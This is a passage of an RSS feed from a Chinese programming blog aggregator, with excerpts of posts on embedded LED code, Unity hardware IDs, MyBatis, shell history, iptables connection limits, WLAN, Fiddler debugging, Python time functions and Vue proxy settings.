      <description>今天呢，继续上一章博客的内容，上一节我们讲了如何安装IAR编译软件的，今天就开始来写写第一个简单的程序吧，一起努力，一起进步。学之前呢，也并不是所以的小白都懂的，基础还是要有点C语言的基础，会简单的几个语句也可以完成我们这节要将的点亮LED的任务。&#xA;首先，安装好了IAR 打开我们的IAR&#xA;然后&#xA;创建后的图片就如下图&#xA;点击OK&#xA;就出现我们的第一个工程了&#xA;之后还需要创建.C为后缀文件，就是以后工程必不可少的main.c文件&#xA;点击保存，就创建好了一个完整的空白工程。&#xA;把我们的main.c文件添加进工程里&#xA;这样我们就可以开始把代码添加进去了，因为我们是CC2540 的版本不同的版本要对应不同的型号&#xA;这个是我写的代码，下面附上文字版方便复制粘贴&#xA;/**************************************/ /* CNPF科技 */ /* 蓝牙4.0开发CC2540 */ /*例程名称：点亮LED */ /*建立时间：2018/04/17 */ /*描述：点亮LED1 */ /***************************************/ #include&amp;lt;ioCC2540.h&amp;gt; #define LED P1_0 //定义P10口为LED控制端 void IO_Init(void) //这里是函数初始化打包 { P1DIR |= 0x01; //P1_0定义为输出 } void main(void) //主函数（程序首先第一步启动） { IO_Init(); //调用初始化程序 LED=1; //点亮LED1 while(1); //死循环 } 实验现象：可以在开发板上看到P1_0接口连的LED灯常亮。&#xA;开发板暂时没做，后期把自己的开发板做了再把相应的实验现象附上图片。有兴趣的可以联系私聊我。&#xA;好了，今天到此为止，明天更新LED的点亮所带来的灵活运用，和好玩之处。&#xA;希望看了我博客的，发现问题对我提出意见哈，一起进步，一起学习。</description>
    </item>
    <item>
      <title>Unity 获取唯一标识符的问题解决方案</title>
      <link>https://bchobby.github.io/posts/b1e5663eab7202276501d5f0f3122bbf/</link>
      <pubDate>Tue, 17 Apr 2018 17:58:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b1e5663eab7202276501d5f0f3122bbf/</guid>
      <description>环境：只适用于PC&#xA;一：遇到的坑&#xA;Unity 提供了给我一套获取硬件信息的API 链接 蛮牛上的一篇帖子：链接&#xA;文中都提到了一个获取设备的唯一标识符&#xA;但是我可以明确告诉你 这个值会改变（过一段时间就会变 就是被他坑了）&#xA;查看api文档&#xA;是根据主板序列号.BIOS序列号.cpu信息.硬盘序列号.操作系统信息 来进行加密或者其他算法得出的，也许是某个东西会随着时间而改变 导致整个获取的标识符是会改变的（行不通 GG）&#xA;二：第二种方法还是坑&#xA;既然不能通过SystemInfo来获取标识符 那么就想着能不能用C#相关api来获取，为此就找到一篇帖子：链接&#xA;然后在Unity风风火火的Copy代码。。。。BUT~居然获取不了 我真b了狗，起初我以为是我添加引入System.Management不对，&#xA;因为添加的是unity下面的，以为是unity进行阉割了所以不能获取&#xA;然后又在操作系统文件夹找的整个dll，最后发现还是不对，报错显示&#xA;猜想可能是mono虚拟机不支持，咋办呢？&#xA;三：解决方案&#xA;首先声明整个解决方案有点不太爽。。。。&#xA;虽然unity不能 但是我们能用c#来获取 于是乎 我就写了一个控制台程序 把获取cpu序列号什么的都写进去，然后发现成功了&#xA;（再次证实unity mono不能获取）&#xA;ojxk,然后我将获取的写入到了一个文本,如下代码：&#xA;class Program { static void Main(string[] args) { Console.WriteLine(&#34;start getserialnumber!!!&#34;); //保存到当前路径 File.WriteAllText(&#34;pwd.txt&#34;, GetCpuID()+ GetDiskID()); Console.WriteLine(&#34;write end!!!&#34;); Console.WriteLine(&#34;.......&#34;); Console.WriteLine(&#34;.......&#34;); } /// &amp;lt;summary&amp;gt; /// 获取cpu硬件信息 /// &amp;lt;/summary&amp;gt; /// &amp;lt;returns&amp;gt;&amp;lt;/returns&amp;gt; private static string GetCpuID() { try { string cpuInfo = &#34;</description>
    </item>
    <item>
      <title>MyBatis：支持定制化 SQL、存储过程以及高级映射的持久层框架</title>
      <link>https://bchobby.github.io/posts/e43c8371a08258617d186ef1ffc63b42/</link>
      <pubDate>Tue, 17 Apr 2018 14:41:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e43c8371a08258617d186ef1ffc63b42/</guid>
      <description>MyBatis 是支持定制化 SQL、存储过程以及高级映射的优秀持久层框架。MyBatis 避免了几乎所有的 JDBC 代码和手动设置参数以及获取结果集。MyBatis 可以对配置和原生Map使用简单的 XML 或注解，将接口和 Java 的 POJO（Plain Old Java Objects，普通的 Java对象）映射成数据库中的记录。&#xA;安装&#xA;直接导入jar包： 只需将 mybatis-x.x.x.jar 文件置于 classpath 中即可。使用Maven：需将下面的 dependency 代码置于 pom.xml 文件中： XHTML 1 2 3 4 5 &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt; org.mybatis &amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt; mybatis &amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt; x.x.x &amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 构建 SqlSessionFactory&#xA;基于 MyBatis 的应用都是以 SqlSessionFactory 的实例为中心的。SqlSessionFactory 的实例可以通过 SqlSessionFactoryBuilder 获得。而 SqlSessionFactoryBuilder 则可以从 XML 配置文件或一个预先定制的 Configuration 的实例构建出 SqlSessionFactory 的实例。&#xA;1、从 XML 中构建 SqlSessionFactory&#xA;从 XML 文件中构建 SqlSessionFactory 的实例非常简单，建议使用类路径下的资源文件进行配置。</description>
    </item>
    <item>
      <title>mac 中 history 命令使用与配置</title>
      <link>https://bchobby.github.io/posts/baeaa370d2a4952499ff6539cf197345/</link>
      <pubDate>Tue, 17 Apr 2018 10:33:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/baeaa370d2a4952499ff6539cf197345/</guid>
      <description>在使用history命令查看之前执行的命令记录时，发现只是记录了很少的一部分，之前的很多记录都看不到了，就想到应该如何配置才能让history记录更多的命令，于是有了这篇记录。多数文章都是介绍Linux的history 命令使用与配置，MacOS是认证过的Unix，有些方面和 Linux 还不完全一样。&#xA;history命令清除命令执行操作的历史记录&#xA;history -c history命令列出最近执行的n条命令&#xA;history 10 重复执行上次操作的命令语法&#xA;!! 设置保存1000条操作命令&#xA;#设置历史命令记录数 export HISTSIZE=1000 #记录历史文件大小 export HISTFILESIZE=450 指定不同终端执行的命令都存储在同一个文件中&#xA;export HISTFILE=~/.commandline_warrior 忽略重复命令&#xA;export HISTCONTROL=ignoredups 多个终端同时操作时，避免命令覆盖，采用追加方式&#xA;shopt -s histappend 命令操作记录会在终端关闭结束工作后才会写入到history文件中，要想实现实时访问需要添加一下命令&#xA;PROMPT_COMMAND=’history -a’ history整体高级配置&#xA;vi ~/.bashrc 在文件末尾添加：&#xA;export HISTTIMEFORMAT=&#34;%Y-%M-%D %H:%M:%S &#34; export HISTSIZE=100000 export HISTFILESIZE=1000000 export HISTFILE=~/.commandline_warrior shopt -s histappend PROMPT_COMMAND=&#39;history -a&#39; 保存文件&#xA;按ESC，然后输入&#xA;:wq 回车，&#xA;为了使以上设置生效，执行以下命令&#xA;source ~/.bashrc 小结&#xA;其实绝大部分都是一样的，只是目录或文件名上有一点差别。</description>
    </item>
    <item>
      <title>iptables限制并发连接</title>
      <link>https://bchobby.github.io/posts/c03bdb8a882c2bfaff56516818c136fb/</link>
      <pubDate>Mon, 16 Apr 2018 18:30:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c03bdb8a882c2bfaff56516818c136fb/</guid>
      <description> 有A、B两台测试机与C一台主机，其中A测试机分为A1与A2窗口进行并发访问C，在C上设置同一IP访问限制为10个。&#xA;在C主机添加防火墙策略，对于input 8888端口 采用并发连接限制 同一个源并发量不超过10，否则拒绝&#xA;iptables -I INPUT -p tcp --dport 8888 -m connlimit --connlimit-above 10 -j REJECT 在A、B两台测试机上安装ab命令&#xA;yum install httpd-tools 安装后使用以下命令，指定连接数，每次并发数&#xA;ab -n 10000 -c 30 http://C主机IP:8888/index.html 在A1、A2、B两台服务器上使用ab命令进行请求，A1+A2并发量超过10就都会停止，提示以下错误，B只要不超过10即可正常请求。&#xA;apr_socket_recv: Connection refused (111) 对某个ip进行限制&#xA;iptables -I INPUT -p tcp --dport 8888 -s 192.168.31.207 -m connlimit --connlimit-above 10 -j REJECT </description>
    </item>
    <item>
      <title>System Verilog与功能验证</title>
      <link>https://bchobby.github.io/posts/6e8bfdca4cf286a62f02bf685675d055/</link>
      <pubDate>Sun, 15 Apr 2018 18:51:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e8bfdca4cf286a62f02bf685675d055/</guid>
      <description>第一章 功能验证技术与方法学概要 概念：&#xA;验证平台：testbench&#xA;测试用例：testcase&#xA;1.1.2 什么是验证 验证的种类：不同的阶段存在不同形式的验证&#xA;（1）寄存器传输级（RTL）的功能验证&#xA;（2）门级的仿真，为了验证综合后的网表和期望的功能是否一致&#xA;（3）形式验证（等价性检查）来确保门级网表和RTL代码的一致性&#xA;（4）时序验证，为了验证设计能否在特定的频率上运行，通常采用静态验证工具。&#xA;1.1.4 功能验证的流程 1. 制定验证策略和验证计划&#xA;（1）主要功能点和测试用例&#xA;（2）验证平台的抽象层次&#xA;（3）激励生成和结果检查原则 2.创建验证平台&#xA;书写验证平台代码和测试用例&#xA;3.回归测试（regression test）和覆盖率收敛阶段&#xA;1.2 验证技术和验证方法学 验证手段：白盒验证、黑盒验证、灰盒验证。&#xA;验证技术：形式验证、仿真验证、硬件加速验证。&#xA;验证方法学：随机激励生成、断言验证、覆盖率驱动验证。&#xA;1.2.2验证技术 1.形式验证&#xA;形式验证技术主要有&#xA;（1）等价性检查&#xA;（2）属性检查（验证断言）&#xA;2.仿真验证&#xA;3.硬件辅助加速验证&#xA;把设计映射到可配置平台，如FPGA，以便设计能在接近产品的时钟速度下运行。&#xA;1.2.5 断言验证（Assertion Based Verification，ABV） 断言，是一个必须验证的关于期望行为（属性）的声明或描述。（属性描述）。主要目的是保证设计和期望的一致性。&#xA;断言也被称为监控器或者检查器。&#xA;断言的优点在于提高了验证平台对设计内部的可见性，帮助工程师更快的定位问题的根源，缩短调试周期，提高功能覆盖率和加速系统集成。&#xA;1.2.6覆盖率驱动验证（Coverage Driven Verification，CDV） 覆盖率驱动验证是基于仿真的验证方法，解决当前验证项目面临的效率和完备性挑战。通过覆盖率驱动验证手段，可以再最短时间内验证尽可能多的情景，达到更高的覆盖率，改善验证的完备性和正确性。&#xA;覆盖率驱动验证最重要的特点是基于随机激励产生。是提高验证效率的原动力。&#xA;覆盖率驱动验证方法学把下面几个概念和技术融合到了一块：事务级验证、约束随机激励产生、自动化结果比较、覆盖率统计分析和直接测试。&#xA;1.事务级验证&#xA;1）数据和数据流在较高的抽象层次定义（例如帧和包）&#xA;2）验证场景在较高的抽象层次定义（例如写存储器、执行指令）&#xA;3）事务处理器吧这些抽象层次的数据和活动转换成低层次的操作和信号，以便应用到被测设计中。&#xA;2.约束随机激励生成&#xA;随机激励生成指的是利用随机生成技术来产生一个事务交易中所有的数据内容，同样产生一系列事务交易来形成一个特定的验证场景。&#xA;随机激励提高了验证效率，也有助于验证的完备性。&#xA;随机激励验证还需要（1）自动化结果检查（2）覆盖率统计和分析来保证真正的可靠性。&#xA;3.直接测试&#xA;手动创建测试用例，进行边界测试。&#xA;1.3 硬件验证语言 System Verilog的优点：&#xA;（1）单一，同时支持设计和验证的标准语言&#xA;（2）支持约束随机的常胜&#xA;（3）支持覆盖率统计分析&#xA;（4）支持断言验证&#xA;（5）面向对象的编程结构，有助于采用事务级的验证和提高验证的重用性。</description>
    </item>
    <item>
      <title>WLAN从入门到精通（阅读总结）</title>
      <link>https://bchobby.github.io/posts/6eb7a0a7e6a050af3586ae51a4367778/</link>
      <pubDate>Sun, 15 Apr 2018 15:58:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6eb7a0a7e6a050af3586ae51a4367778/</guid>
      <description>WLAN从入门到精通系列文章可见： https://wenku.baidu.com/view/c34d5e1fe97101f69e3143323968011ca300f770.html 或 http://support.huawei.com/huaweiconnect/enterprise/zh/thread-282749.html&#xA;WLAN定义和基本框架 WLAN基本架构 WLAN有两种基本架构，一种是FAT AP架构，又叫自治式网络架构。一种是AC FIT AP架构，又叫集中式网络架构。&#xA;我们先从最熟悉的家庭无线路由器入手，家庭无线路由器采用的是FAT AP架构，即自治式网络架构。FAT AP英文全称是FAT Access Point，中文称为胖接入点，也有很多人直接称为胖AP。FAT AP不仅可以发射射频提供无线信号供无线终端接入，还能独立完成安全加密、用户认证和用户管理等管控功能。想一下我们家里的无线路由器，我们可以为WLAN设置密码，可以配置黑名单或白名单控制用户接入，还可以管理接入的用户（如设置用户的接入速率）等，这些都符合FAT AP的特征。所以，家庭使用的无线路由器就是一种FAT AP。下面的组网图是一个简单的基于FAT AP架构的组网应用。 FAT AP功能强大，独立性强，具备自治能力，因此FAT AP架构人们又称为自治式网络架构。不需要介入专门的管控设备，独自就可以完成无线用户的接入，业务数据的加密和业务数据报文的转发等功能。&#xA;独立自治是FAT AP的特点，也是FAT AP的缺点。当单个部署时，由于FAT AP具备较好的独立性，不需要另外部署管控设备，部署起来很方便，成本也较低廉，在类如家庭WLAN或者小企业WLAN的使用场景中，FAT AP往往是最适合的选择。给我们感受最深刻的就是我们在家里使用一个无线路由器就能享受WLAN带给我们的便捷。但是，在大的使用场景中，如我们上面提到的候车厅，FAT AP的独立自治就变成了自身的缺点。由于WLAN覆盖面积较大，接入用户较多，需要部署许多FAT AP设备，而每个FAT AP又是独立自治的，缺少统一的管控设备，管理这些设备就变得十分麻烦。不说别的，光为这些FAT AP升一次级就是一场灾难。所以，在大量部署的情况下，FAT AP会带来巨大的管理维护成本。而且由于独自控制用户的接入，FAT AP无法解决用户的漫游问题。一般在中大型使用场景中人们往往不会选择FAT AP架构，而是使用我们下面要讲的AC FIT AP架构。&#xA;FIT AP英文全称是FIT Access Point，中文称为瘦接入点，也有很多人直接称为瘦AP。和胖AP不同，瘦AP除了提供无线射频信号外，基本不具备管控功能。也正是因为这一点，它被称为瘦AP，而上面具备管控功能的AP被称为了胖AP。为了实现WLAN的功能，除了FIT AP外，还需要具备管理控制功能的设备——AC。AC英文全称是Access Controller，中文称为无线接入控制器。AC的主要功能是对WLAN中的所有FIT AP进行管理和控制，AC不具备射频（AC只是管理控制设备，不能发射无线射频信号），它和FIT AP配合共同完成WLAN功能。这种架构就被称为了AC FIT AP架构。 下图为某大型企业基于AC FIT AP架构部署的WLAN组网示意图。 由上图我们可以看到，根据AC所管控的区域和吞吐量的不同，AC可以出现在汇聚层，也可以出现在核心层。而FIT AP一般部署在接入层和企业分支。这种层级分明的协同分工，更能体现出AC FIT AP架构的集中控制的特点，这种架构又被大家称为集中式网络架构。&#xA;使用AC FIT AP架构为像候车厅这种大型场所部署WLAN时，比使用FAT AP架构更经济、高效。在AC FIT AP架构下，可以统一为FIT AP下发配置，统一为FIT AP进行软件升级，还可以按照时段控制FIT AP的工作数量等等，这些大大降低了WLAN的管控和维护的成本。而且，由于用户的接入认证可以由AC统一管理，解决用户漫游的问题就变得很容易。&#xA;综上所述，AC FIT AP架构适用于中大型使用场景，而FAT AP架构适用于小型使用场景。&#xA;WLAN射频和信道 射频 WLAN使用的射频频率范围是2.4GHz频段（2.4GHz～2.4835GHz）和5GHz频段（频率范围是5.150GHz～5.350GHz和5.725GHz～5.850GHz），分别属于特高频(300MHz～3GHz)和超高频(3GHz～30GHz)。</description>
    </item>
    <item>
      <title>常用的网站链接</title>
      <link>https://bchobby.github.io/posts/771264fd35a78caa686cd9832497d427/</link>
      <pubDate>Sun, 15 Apr 2018 13:41:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/771264fd35a78caa686cd9832497d427/</guid>
      <description>vuevue-routervuexElementUI 转载于:https://www.cnblogs.com/chengyuan1216/p/8847262.html</description>
    </item>
    <item>
      <title>DeepLearning - Overview of Sequence model</title>
      <link>https://bchobby.github.io/posts/eaaa132b7c7807629009b87ce8963fa2/</link>
      <pubDate>Sun, 15 Apr 2018 10:17:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eaaa132b7c7807629009b87ce8963fa2/</guid>
      <description>I have had a hard time trying to understand recurrent model. Compared to Ng&#39;s deep learning course, I found Deep Learning book written by Ian, Yoshua and Aaron much easier to understand.&#xA;This post is structure in following order:&#xA;Intuitive interpretation of RNNBasic RNN computation and different structureRNN limitation and variants Why we need Recurrent Neural Network The main reason behind Convolution neural network is using sparse connection and parameter sharing to reduce the scale of NN.</description>
    </item>
    <item>
      <title>npm: command not found的解决方案</title>
      <link>https://bchobby.github.io/posts/18ba20f038948c383e6b85e06cf84bf7/</link>
      <pubDate>Sun, 15 Apr 2018 04:11:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/18ba20f038948c383e6b85e06cf84bf7/</guid>
      <description>１、重装ｎｏｄｅｊｓ。&#xA;２、依次输入下列命令&#xA;sudo apt-get remove npm&#xA;sudo apt-get remove nodejs-legacy&#xA;sudo apt-get remove nodejs sudo rm /usr/bin/node sudo apt-get install nodejs sudo apt-get install nodejs-legacy sudo apt-get install npm.</description>
    </item>
    <item>
      <title>ajax传输json数据格式以及规范</title>
      <link>https://bchobby.github.io/posts/18967d1973ddeadbf6d181143c16b43a/</link>
      <pubDate>Sat, 14 Apr 2018 23:10:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/18967d1973ddeadbf6d181143c16b43a/</guid>
      <description>（1）&#xA;示例：&#xA;在JsonServlet中的代码：&#xA;import java.io.IOException;&#xA;import java.io.PrintWriter;&#xA;import javax.servlet.ServletException;&#xA;import javax.servlet.annotation.WebServlet;&#xA;import javax.servlet.http.HttpServlet;&#xA;import javax.servlet.http.HttpServletRequest;&#xA;import javax.servlet.http.HttpServletResponse;&#xA;/**&#xA;* Servlet implementation class JsonServlet&#xA;*/&#xA;@WebServlet(&#34;/JsonServlet&#34;)&#xA;public class JsonServlet extends HttpServlet {&#xA;private static final long serialVersionUID = 1L;&#xA;/**&#xA;* @see HttpServlet#HttpServlet()&#xA;*/&#xA;public JsonServlet() {&#xA;super();&#xA;// TODO Auto-generated constructor stub&#xA;}&#xA;/**&#xA;* @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse response)&#xA;*/&#xA;protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {</description>
    </item>
    <item>
      <title>一次 java heap space 解决过程</title>
      <link>https://bchobby.github.io/posts/d3813151b34a3e692dfde5a02577db9d/</link>
      <pubDate>Sat, 14 Apr 2018 19:11:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d3813151b34a3e692dfde5a02577db9d/</guid>
      <description>负责一个javaweb项目，周四上午正在紧张的工作（划水），客户突然在群里喊了句正式服管理员账号登不上了。&#xA;赶紧打开网页&amp;gt;开启调试模式&amp;gt;登录，发现一个接口一直等待响应。postman掉一下，响应为空！喵喵喵，测试服试一下，接口报错 java heap space ？？？关于java heap space 原因请看这篇文章java 内存溢出 栈溢出的原因与排查方法&#xA;测试服和正式服同时出现问题，有人部署项目了？登录服务器，部署时间是上个月，帅锅计划失败。什么问题呢？稳定跑了一个月，代码出问题的可能性不大，数据库？ 连上数据库&amp;gt;打开表，30w+？？？ 测试服务器9w+ 喵喵喵，我们的业务需求是不可能让这个表有这么多数据的，所以表的数据异常了！而我们测试服务器由于内存比较小，所以在select * 的时候直接堆溢出，报了 java heap space 异常，而正式服的虚拟机内存设置的比较高，所以不会溢出，但是由于表没有建索引（设计时考虑到数据不会太多，不建索引是正确的）查的慢，所以接口一直等待响应。&#xA;关于java head space 的解决方案也很简单，这里给大家贴一下&#xA;跟据网上的答案大致有这两种解决方法：&#xA;1、设置环境变量&#xA;set JAVA_OPTS= -Xms32m -Xmx512m&#xA;可以根据自己机器的内存进行更改,但本人测试这种方法并没有解决问题。可能是还有哪里需要设置。&#xA;2、java -Xms32m -Xmx800m className&#xA;就是在执行JAVA类文件时加上这个参数，其中className是需要执行的确类名。（包括包名）&#xA;这个解决问题了。而且执行的速度比没有设置的时候快很多。&#xA;但是这写方法并不适用我们遇到的问题，我们要解决的是数据重复的问题。&#xA;问题算是定位到了，但是数据为啥异常啊？？？好像有重复数据，SELECT count(id) from a group by id having count(id)&amp;gt;1查一下，每条数据都重复了两千七百多次？？？哪来的这么多重复数据，主键也是重复的。最后发现是一个同事（实习生何苦为难实习生）写同步任务时复制了一行代码，把这个表也进行同步了。&#xA;接着就是解决问题了，删除多余同步代码，删除重复数据。然后就跳进了下一个坑mysql删除完全重复的数据（主键重复）</description>
    </item>
    <item>
      <title>JPA 判断字段值NULL</title>
      <link>https://bchobby.github.io/posts/eef6ded1950875f7d00b1530b1bdb9b0/</link>
      <pubDate>Fri, 13 Apr 2018 15:45:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eef6ded1950875f7d00b1530b1bdb9b0/</guid>
      <description> 由于又忘了，故备注于此。&#xA;字段值为NULL&#xA;sql：字段 is null 即可&#xA;但放到JPA 上，则是 ：&#xA;restrictions = criteriaBuilder.and(restrictions, criteriaBuilder.isNull(root.get(&#34;store&#34;))); //还有多种的其它用法，isEmpty,isFalse </description>
    </item>
    <item>
      <title>Python网络爬虫笔记（4）HTTP代理神器Fiddler</title>
      <link>https://bchobby.github.io/posts/2f3910d5aa7d85e5cdfffbcf395097b1/</link>
      <pubDate>Fri, 13 Apr 2018 15:17:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2f3910d5aa7d85e5cdfffbcf395097b1/</guid>
      <description>Fiddler是一款强大Web调试工具，它能记录所有客户端和服务器的HTTP请求。 Fiddler启动的时候，默认IE的代理设为了127.0.0.1:8888，而其他浏览器是需要手动设置。&#xA;工作原理 Fiddler 是以代理web服务器的形式工作的，它使用代理地址：127.0.0.1，端口：8888&#xA;Fiddler抓取HTTPS设置 启动Fiddler，打开菜单栏中的 Tools &amp;gt; Telerik Fiddler Options，打开“Fiddler Options”对话框。&#xA;对Fiddler进行设置：&#xA;打开工具栏-&amp;gt;Tools-&amp;gt;Fiddler Options-&amp;gt;HTTPS，选中Capture HTTPS CONNECTs (捕捉HTTPS连接)，选中Decrypt HTTPS traffic（解密HTTPS通信）另外我们要用Fiddler获取本机所有进程的HTTPS请求，所以中间的下拉菜单中选中...from all processes （从所有进程）选中下方Ignore server certificate errors（忽略服务器证书错误）&#xA;为 Fiddler 配置Windows信任这个根证书解决安全警告：Trust Root Certificate（受信任的根证书）。&#xA;Fiddler 主菜单 Tools -&amp;gt; Fiddler Options…-&amp;gt; Connections&#xA;选中Allow remote computers to connect（允许远程连接）Act as system proxy on startup（作为系统启动代理）&#xA;重启Fiddler，使配置生效（这一步很重要，必须做）。&#xA;Fiddler 如何捕获Chrome的会话 安装SwitchyOmega 代理管理 Chrome 浏览器插件&#xA;如图所示，设置代理服务器为127.0.0.1:8888&#xA;通过浏览器插件切换为设置好的代理。&#xA;Fiddler界面 设置好后，本机HTTP通信都会经过127.0.0.1:8888代理，也就会被Fiddler拦截到。&#xA;请求 (Request) 部分详解 Headers —— 显示客户端发送到服务器的 HTTP 请求的 header，显示为一个分级视图，包含了 Web 客户端信息、Cookie、传输状态等。Textview —— 显示 POST 请求的 body 部分为文本。WebForms —— 显示请求的 GET 参数 和 POST body 内容。HexView —— 用十六进制数据显示请求。Auth —— 显示响应 header 中的 Proxy-Authorization(代理身份验证) 和 Authorization(授权) 信息.</description>
    </item>
    <item>
      <title>python中time模块详解</title>
      <link>https://bchobby.github.io/posts/c127d51aeb4ca88fe9bb232ab181933f/</link>
      <pubDate>Fri, 13 Apr 2018 10:45:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c127d51aeb4ca88fe9bb232ab181933f/</guid>
      <description>在Python中，与时间处理有关的模块就包括：time，datetime以及calendar。这篇文章，主要讲解time模块。&#xA;在开始之前，首先要说明这几点：&#xA;在Python中，通常有这几种方式来表示时间：1）时间戳 2）格式化的时间字符串 3）元组（struct_time）共九个元素。由于Python的time模块实现主要调用C库，所以各个平台可能有所不同。&#xA;UTC（Coordinated Universal Time，世界协调时）亦即格林威治天文时间，世界标准时间。在中国为UTC+8。DST（Daylight Saving Time）即夏令时。&#xA;时间戳（timestamp）的方式：通常来说，时间戳表示的是从1970年1月1日00:00:00开始按秒计算的偏移量。我们运行“type(time.time())”，返回的是float类型。返回时间戳方式的函数主要有time()，clock()等。&#xA;元组（struct_time）方式：struct_time元组共有9个元素，返回struct_time的函数主要有gmtime()，localtime()，strptime()。下面列出这种方式元组中的几个元素：&#xA;索引（Index）属性（Attribute）值（Values）0 tm_year（年） 比如2011 1 tm_mon（月） 1 - 122 tm_mday（日） 1 - 313 tm_hour（时） 0 - 234 tm_min（分） 0 - 595 tm_sec（秒） 0 - 616 tm_wday（weekday） 0 - 6（0表示周日）7 tm_yday（一年中的第几天） 1 - 3668 tm_isdst（是否是夏令时） 默认为-1 接着介绍time模块中常用的几个函数：&#xA;1）time.localtime([secs])：将一个时间戳转换为当前时区的struct_time。secs参数未提供，则以当前时间为准。&#xA;&amp;gt;&amp;gt;&amp;gt; time.localtime()time.struct_time(tm_year=2011, tm_mon=5, tm_mday=5, tm_hour=14, tm_min=14, tm_sec=50, tm_wday=3, tm_yday=125, tm_isdst=0)&amp;gt;&amp;gt;&amp;gt; time.localtime(1304575584.1361799)time.struct_time(tm_year=2011, tm_mon=5, tm_mday=5, tm_hour=14, tm_min=6, tm_sec=24, tm_wday=3, tm_yday=125, tm_isdst=0)&#xA;2）time.gmtime([secs])：和localtime()方法类似，gmtime()方法是将一个时间戳转换为UTC时区（0时区）的struct_time。&#xA;&amp;gt;&amp;gt;&amp;gt;time.gmtime()time.struct_time(tm_year=2011, tm_mon=5, tm_mday=5, tm_hour=6, tm_min=19, tm_sec=48, tm_wday=3, tm_yday=125, tm_isdst=0)</description>
    </item>
    <item>
      <title>smoothL1 loss的tensorflow实现</title>
      <link>https://bchobby.github.io/posts/ae0dc7c1965213c1b9682200628c62ea/</link>
      <pubDate>Fri, 13 Apr 2018 10:31:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ae0dc7c1965213c1b9682200628c62ea/</guid>
      <description>MachineLP的Github（欢迎follow）：https://github.com/MachineLP&#xA;def smooth_l1_loss(bbox_pred, bbox_targets, bbox_inside_weights, bbox_outside_weights, sigma=1.0, dim=[1]): &#39;&#39;&#39; bbox_pred ：预测框 bbox_targets：标签框 bbox_inside_weights： bbox_outside_weights： &#39;&#39;&#39; sigma_2 = sigma ** 2 box_diff = bbox_pred - bbox_targets in_box_diff = bbox_inside_weights * box_diff abs_in_box_diff = tf.abs(in_box_diff) # tf.less 返回 True or False； a&amp;lt;b,返回True， 否则返回False。 smoothL1_sign = tf.stop_gradient(tf.to_float(tf.less(abs_in_box_diff, 1. / sigma_2))) # 实现公式中的条件分支 in_loss_box = tf.pow(in_box_diff, 2) * (sigma_2 / 2.) * smoothL1_sign + (abs_in_box_diff - (0.5 / sigma_2)) * (1. - smoothL1_sign) out_loss_box = bbox_outside_weights * in_loss_box loss_box = tf.</description>
    </item>
    <item>
      <title>proxyTable的配置</title>
      <link>https://bchobby.github.io/posts/ca318bf55b7bcadf13cdc99dbf90e831/</link>
      <pubDate>Fri, 13 Apr 2018 07:43:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca318bf55b7bcadf13cdc99dbf90e831/</guid>
      <description>在dev环境下面：&#xA;proxyTable: { &#39;/api&#39;: { target: &#39;http://api.douban.com/v2&#39;, //主域名，以前我都写192.168.2.57:80，这里跨域了 changeOrigin: true, //允许跨域 pathRewrite: { &#39;^/api&#39;: &#39;&#39; } //重写路径，其实这里就是和上面的target拼接起来 } } 以前的老项目里是写成这样的：&#xA;proxyTable: { &#34;/middleware&#34;: { target: &#34;http://192.168.2.57:80&#34;, pathRewrite: { &#39;^/middleware&#39;: &#39;/patient/1116/guangji/middleware&#39; //上下拼接，组成完整的请求路径 }, changeOrigin: true, } } 配合axios使用：&#xA;//在main.js中： Vue.prototype.HOST = &#39;/api&#39; //将api设置成全局属性，然后再给每个请求地址引用一下。 //这里必须这样写，我试了一下如果不在全局注册api的话，它还是会去请求192.168.2.57:8888下面的地址 //在代码里： this.axios.get(this.HOST + &#39;/movie/in_theaters&#39;).then((response) =&amp;gt; { console.log(response); }) //请求的接口是：http://api.douban.com/v2/movie/in_theaters 拼接起来的 注意：&#xA;1.这个方法只是讲了proxyTable应该怎样配置。&#xA;2.只能用在开发环境中，生产环境怎么用我还要再研究一下。&#xA;3.千万别忘了在main.js中引入api作为全局变量。</description>
    </item>
    <item>
      <title>求三点外接圆圆心公式</title>
      <link>https://bchobby.github.io/posts/b7fd97e10b9daba4aa557c49281f8e0a/</link>
      <pubDate>Thu, 12 Apr 2018 20:40:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b7fd97e10b9daba4aa557c49281f8e0a/</guid>
